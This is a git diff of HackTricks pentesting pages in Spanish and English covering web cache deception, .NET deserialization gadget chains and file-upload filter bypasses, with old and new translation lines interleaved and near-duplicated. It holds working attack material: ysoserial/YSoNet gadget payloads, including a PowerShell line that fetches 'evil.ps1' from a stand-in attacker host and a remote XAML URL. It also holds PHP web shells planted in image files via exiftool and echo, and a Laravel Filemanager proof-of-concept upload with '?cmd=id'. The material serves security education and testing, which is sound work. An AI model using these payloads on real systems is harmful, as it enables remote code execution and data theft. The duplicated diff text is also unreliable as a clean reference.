El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de header. Headers que contienen caracteres fuera del rango **tchar** deberían idealmente provocar una respuesta 400 Bad Request. En la práctica, los servidores no siempre cumplen este estándar. Un ejemplo notable es Akamai, que reenvía headers con caracteres inválidos y cachea cualquier error 400, siempre que el header `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un header con un carácter ilegal, como `\`, resultaba en un 400 Bad Request cacheable.
El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de header. Los headers que contengan caracteres fuera del rango **tchar** deberían idealmente provocar una respuesta 400 Bad Request. En la práctica, los servidores no siempre cumplen este estándar. Un ejemplo notable es Akamai, que reenvía headers con caracteres inválidos y cachea cualquier error 400, siempre que no esté presente el header `cache-control`. Se identificó un patrón explotable donde enviar un header con un carácter ilegal, como `\`, daba como resultado un 400 Bad Request cacheable.
### Finding new headers
### Encontrar nuevos headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
El objetivo de Cache Deception es hacer que los clientes carguen recursos que van a ser guardados por el cache con su información sensible.
El objetivo de Cache Deception es hacer que los clientes carguen recursos que van a ser guardados por la caché con su información sensible.
Antes que nada, observa que las extensiones como `.css`, `.js`, `.png`, etc. suelen estar configuradas para ser guardadas en el cache. Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js` el cache probablemente almacenará la respuesta porque detecta la extensión `.js`. Pero, si la aplicación está respondiendo con los contenidos sensibles del usuario almacenados en _www.example.com/profile.php_, puedes robar esos contenidos de otros usuarios.
Primero, tenga en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc. suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js` la caché probablemente almacenará la respuesta porque detecta la **extensión** `.js`. Pero, si la **aplicación** está respondiendo con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
Otras cosas para probar:
Otras cosas a probar:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
- _Usar extensiones menos conocidas como_ `.avif`
Otro ejemplo muy claro se puede encontrar en este write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
En el ejemplo se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_ el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) será devuelto y el servidor de cache guardará el resultado.\
Luego, el **attacker** puede acceder a _http://www.example.com/home.php/non-existent.css_ desde su propio navegador y observar la información confidencial de los usuarios que accedieron antes.
Otro ejemplo muy claro se encuentra en este write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_ el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) será devuelto y el servidor de caché guardará el resultado.\
Entonces, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes.
Ten en cuenta que el **cache proxy** debe estar **configurado** para **cachear** archivos **basándose** en la **extensión** del archivo (_.css_) y no en el content-type. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un content-type `text/html` en lugar de un mime type `text/css`.
Nótese que el **proxy de caché** debe estar **configurado** para **cachear** archivos **basándose** en la **extensión** del archivo (_.css_) y no basarse en el content-type. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un content-type `text/html` en lugar de un mime type `text/css`.
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Aprende aquí sobre cómo realizar[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Herramientas automáticas
- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner en Golang para encontrar vulnerabilidades de web cache poisoning en una lista de URLs y probar múltiples técnicas de inyección.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner para encontrar vulnerabilidades de web cache poisoning en una lista de URLs y probar múltiples técnicas de inyección.
## Referencias

View File

@ -1,38 +1,38 @@
# Deserialización básica de .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Esta entrada está dedicada a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de Serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.
This post está dedicado a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las librerías de serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.
## ObjectDataProvider Gadget
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarada usando los parámetros arbitrarios.\
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **wrappear un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarada usando los parámetros arbitrarios.\
Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**
### **¿Cómo es esto posible**
### **How is this possible**
The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented.
El namespace **System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa ObjectDataProvider.
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen de abajo estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:
Como puedes observar, cuando se establece `MethodName` se llama a `base.Refresh()`, vamos a ver qué hace eso:
![](<../../images/image (319).png>)
Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:
Ok, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es sobrescrito por `ObjectDataProvider` y esto es lo que hace:
![](<../../images/image (345).png>)
Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:
Fíjate que al final del código está llamando a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
![](<../../images/image (596).png>)
Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.
Ten en cuenta que este no es el código completo de la función `QueryWorker` pero muestra la parte interesante: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
Si quieres comprobar que con solo establecer el _**MethodName**_ **se ejecutará**, puedes ejecutar este código:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
}
}
```
Ten en cuenta que debes añadir como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
Al usar el exploit anterior habrá casos en los que el **objeto** será **deserializado como** una instancia de _**ObjectDataProvider**_ (por ejemplo en la vuln de DotNetNuke, usando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, no tendrá **conocimiento del tipo de objeto que está envuelto** en la instancia _ObjectDataProvider_ (`Process`, por ejemplo). Puedes encontrar más [información sobre la vuln de DotNetNuke aquí](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Usando el exploit anterior habrá casos en los que el **object** se va a **deserializar como** una instancia _**ObjectDataProvider**_ (por ejemplo en DotNetNuke vuln, usando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, no tendrá **conocimiento del tipo de objeto que está envuelto** en la instancia _ObjectDataProvider_ (por ejemplo `Process`). Puedes encontrar más [información sobre la DotNetNuke vuln aquí](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Esta clase permite **especificar los tipos de objeto de los objetos que están encapsulados** en una instancia dada. Por tanto, esta clase puede usarse para encapsular un objeto fuente (_ObjectDataProvider_) dentro de un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
Esto es muy útil para casos como el presentado antes, porque podremos **envolver _ObjectDataProvider_ dentro de una instancia _ExpandedWrapper_** y **cuando se deserialice** esta clase **creará** el objeto _**ObjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
Esta clase permite **especificar los tipos de objeto de los objetos que están encapsulados** en una instancia dada. Por lo tanto, esta clase puede usarse para encapsular un objeto origen (_ObjectDataProvider_) dentro de un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
Esto es muy útil para casos como el presentado antes, porque podremos **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance y **cuando se deserialice** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
Puedes comprobar este wrapper con el siguiente código:
```java
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
En la [página oficial](https://www.newtonsoft.com/json) se indica que esta librería permite **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Entonces, si pudiéramos **deserialize the ObjectDataProvider gadget**, podríamos provocar una **RCE** simplemente deserializando un objeto.
En la [official web page](https://www.newtonsoft.com/json) se indica que esta biblioteca permite **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Por lo tanto, si pudiéramos **deserialize the ObjectDataProvider gadget**, podríamos provocar una **RCE** simplemente deserializing un objeto.
### Ejemplo de Json.Net
Primero, veamos un ejemplo de cómo **serialize/deserialize** un objeto usando esta librería:
Primero veamos un ejemplo de cómo **serialize/deserialize** un objeto usando esta biblioteca:
```java
using System;
using Newtonsoft.Json;
@ -132,7 +132,7 @@ Console.WriteLine(desaccount.Email);
}
}
```
### Abusando de Json.Net
### Abusar de Json.Net
Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) creé el exploit:
```java
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
En este código puedes **probar el exploit**, simplemente ejecútalo y verás que se ejecuta calc:
En este código puedes **test the exploit**, simplemente ejecútalo y verás que se ejecuta calc:
```java
using System;
using System.Text;
@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
La técnica ObjectDataProvider + ExpandedWrapper introducida arriba es solo una de MUCHAS cadenas de gadgets que pueden ser abusadas cuando una aplicación realiza **deserialización .NET insegura**. Herramientas modernas de red-team como **[YSoNet](https://github.com/irsdl/ysonet)** (y la más antigua [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizan la creación de **grafos de objetos maliciosos listos para usar** para docenas de gadgets y formatos de serialización.
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
A continuación hay una referencia condensada de las cadenas más útiles incluidas en *YSoNet* junto con una breve explicación de cómo funcionan y comandos de ejemplo para generar los payloads.
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
| Cadena de gadgets | Idea clave / Primitiva | Serializadores comunes | Comando YSoNet |
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Corrompe el registro `DelegateSerializationHolder` de modo que, una vez materializado, el delegate apunte a *cualquier* método suministrado por el atacante (p. ej. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *bypassear el filtrado de tipos en .NET ≥4.8* e invocar directamente el **constructor** de una clase proporcionada o **compilar** un archivo C# al vuelo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Aprovecha la representación **XML legada** de `System.Data.DataSet` para instanciar tipos arbitrarios rellenando los campos `<ColumnMapping>` / `<DataType>` (opcionalmente falsificando el assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | En runtimes con WPF habilitado (> .NET 5) encadena getters de propiedades hasta llegar a `System.CodeDom.Compiler.CompilerResults`, y luego *compila* o *carga* un DLL suministrado con `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (revisión) | Usa WPF `System.Windows.Data.ObjectDataProvider` para llamar a un método estático arbitrario con argumentos controlados. YSoNet añade una variante conveniente `--xamlurl` para alojar el XAML malicioso de forma remota | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Inserta `ScriptBlock` dentro de `System.Management.Automation.PSObject` que se ejecuta cuando PowerShell deserializa el objeto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Todos los payloads se **escriben en *stdout*** por defecto, lo que hace trivial canalizarlos hacia otras herramientas (p. ej. generadores de ViewState, codificadores base64, clientes HTTP).
> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
### Compilación / Instalación de YSoNet
### Building / Installing YSoNet
Si no hay binarios precompilados disponibles en *Actions ➜ Artifacts* / *Releases*, el siguiente one-liner de **PowerShell** configurará un entorno de compilación, clonará el repositorio y compilará todo en modo *Release*:
If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,20 +216,20 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
El ejecutable compilado `ysonet.exe` se puede encontrar en `ysonet/bin/Release/`.
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### Detección y endurecimiento
* **Detectar** procesos hijo inesperados de `w3wp.exe`, `PowerShell.exe`, o cualquier proceso que deserialice datos proporcionados por el usuario (p. ej. `MessagePack`, `Json.NET`).
* Habilitar y **hacer cumplir el filtrado por tipo** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) siempre que no se pueda eliminar el legado `BinaryFormatter` / `NetDataContractSerializer`.
* Cuando sea posible, migrar a **`System.Text.Json`** o **`DataContractJsonSerializer`** con convertidores basados en lista blanca.
* Bloquear ensamblados WPF peligrosos (`PresentationFramework`, `System.Workflow.*`) para que no se carguen en procesos web que no deberían necesitarlos.
### Detección y Endurecimiento
* **Detectar** procesos hijos inesperados de `w3wp.exe`, `PowerShell.exe`, o cualquier proceso que deserialice datos suministrados por el usuario (p. ej. `MessagePack`, `Json.NET`).
* Habilitar y **hacer cumplir el filtrado de tipos** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) siempre que no se pueda eliminar el `BinaryFormatter` / `NetDataContractSerializer` heredado.
* Cuando sea posible, migrar a **`System.Text.Json`** o **`DataContractJsonSerializer`** con convertidores basados en whitelist.
* Bloquear ensamblados WPF peligrosos (`PresentationFramework`, `System.Workflow.*`) para que no se carguen en procesos web que nunca deberían necesitarlos.
## Sink del mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter
## Sink en el mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink .NET práctico accesible en flujos autenticados del Content Editor de Sitecore XP:
Un sink práctico de .NET accesible en flujos autenticados del Sitecore XP Content Editor:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` envuelve `new BinaryFormatter().Deserialize(...)`.
- Ruta de activación: pipeline `convertToRuntimeHtml``ConvertWebControls`, que busca un elemento hermano con `id="{iframeId}_inner"` y lee un atributo `value` que se trata como datos serializados codificados en base64. El resultado se convierte a string y se inserta en el HTML.
- API del sink: `Sitecore.Convert.Base64ToObject(string)` envuelve `new BinaryFormatter().Deserialize(...)`.
- Ruta de activación: pipeline `convertToRuntimeHtml``ConvertWebControls`, que busca un elemento hermano con `id="{iframeId}_inner"` y lee un atributo `value` que se trata como datos serializados codificados en base64. El resultado se castea a string e insertado en el HTML.
Ejemplo mínimo de extremo a extremo (autenticado):
```
@ -246,7 +246,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: cualquier BinaryFormatter chain que devuelva un string (los sideeffects se ejecutan durante la deserialization). Vea YSoNet/ysoserial.net para generar payloads.
- Gadget: cualquier BinaryFormatter chain que devuelva un string (los sideeffects se ejecutan durante la deserialización). Ver YSoNet/ysoserial.net para generar payloads.
Para una cadena completa que comienza preauth con HTML cache poisoning en Sitecore y conduce a este sink:
@ -254,7 +254,7 @@ Para una cadena completa que comienza preauth con HTML cache poisoning en Sit
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Referencias
## References
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
## Metodología general de carga de archivos
## Metodología general de File Upload
Otras extensiones útiles:
Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Otras extensiones útiles:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypassar las comprobaciones de extensión de archivos
### Evadir comprobaciones de extensiones de archivo
1. Si aplican, **comprueba** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Prueba **añadir una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
1. Si aplican, **revisa** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Comprueba **añadir una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
- _file.png.php_
- _file.png.Php5_
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
3. Prueba añadir **caracteres especiales al final.** Puedes usar Burp para hacer **bruteforce** de todos los caracteres **ASCII** y **Unicode**. (_Nota que también puedes intentar usar las **extensiones** mencionadas anteriormente_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Otras extensiones útiles:
- _file._
- _file.php...._
- _file.pHp5...._
4. Intenta evadir las protecciones **engañando al parser de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
4. Intenta evadir las protecciones **engañando al parser de extensiones** del servidor con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload más efectivo._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Otras extensiones útiles:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Añade **otra capa de extensiones** a la comprobación anterior:
5. Añade **otra capa de extensiones** al chequeo anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, aunque no termine necesariamente en .php, ejecutará código):
6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con la extensión **_.php_**, aunque no necesariamente terminando en .php, ejecutará código):
- _ex: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg”). Este archivo podría editarse más tarde usando otras técnicas como su short filename. El "**::$data**” pattern también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón podría también ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”)
8. Intenta superar los límites de nombre de archivo. La extensión válida se corta. Y queda el PHP malicioso. AAA<--SNIP-->AAA.php
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (p. ej. "file.asax:.jpg”). Este archivo podría editarse más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón podría ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”)
8. Intenta romper los límites de longitud del nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Algunos manejadores de subida recortan o normalizan los caracteres de punto final del nombre de archivo guardado. En UniSharps Laravel Filemanager (unisharp/laravel-filemanager) en versiones anteriores a 2.9.1, puedes evadir la validación de extensión mediante:
Algunos handlers de upload recortan o normalizan los caracteres de punto finales del nombre de archivo guardado. En UniSharps Laravel Filemanager (unisharp/laravel-filemanager) versiones anteriores a 2.9.1, puedes evadir la validación de extensión:
- Usar un MIME de imagen válido y el encabezado mágico (por ejemplo, el `\x89PNG\r\n\x1a\n` de PNG).
- Nombrar el archivo subido con una extensión PHP seguida de un punto, p. ej., `shell.php.`.
- Usando un MIME válido de imagen y el header mágico correspondiente (p. ej., el header de PNG `\x89PNG\r\n\x1a\n`).
- Nombrando el archivo subido con una extensión PHP seguida de un punto, p. ej., `shell.php.`.
- El servidor elimina el punto final y persiste `shell.php`, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como `/storage/files/`).
Minimal PoC (Burp Repeater):
PoC mínimo (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -84,24 +84,24 @@ Luego accede a la ruta guardada (típico en Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigaciones:
Mitigations:
- Actualizar unisharp/laravel-filemanager a ≥ 2.9.1.
- Imponer allowlists estrictas server-side y revalidar el nombre de archivo persistido.
- Servir uploads desde ubicaciones no ejecutables.
- Aplicar allowlists estrictas en el servidor y revalidar el nombre de archivo persistido.
- Servir las subidas desde ubicaciones no ejecutables.
### Eludir Content-Type, Magic Number, Compresión & Redimensionado
### Eludir Content-Type, Magic Number, Compression & Resizing
- Eludir las comprobaciones de **Content-Type** ajustando el **value** del **Content-Type** **header** a: _image/png_ , _text/plain , application/octet-stream_
- Eludir las comprobaciones de **Content-Type** estableciendo el **valor** del **header** **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Eludir la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadata**:\
- Eludir la comprobación de **magic number** añadiendo al comienzo del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` o también podrías **introducir la carga útil directamente** en una imagen:\
`\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si se está añadiendo **compresión a tu imagen**, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, puedes usar el **PLTE chunk** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
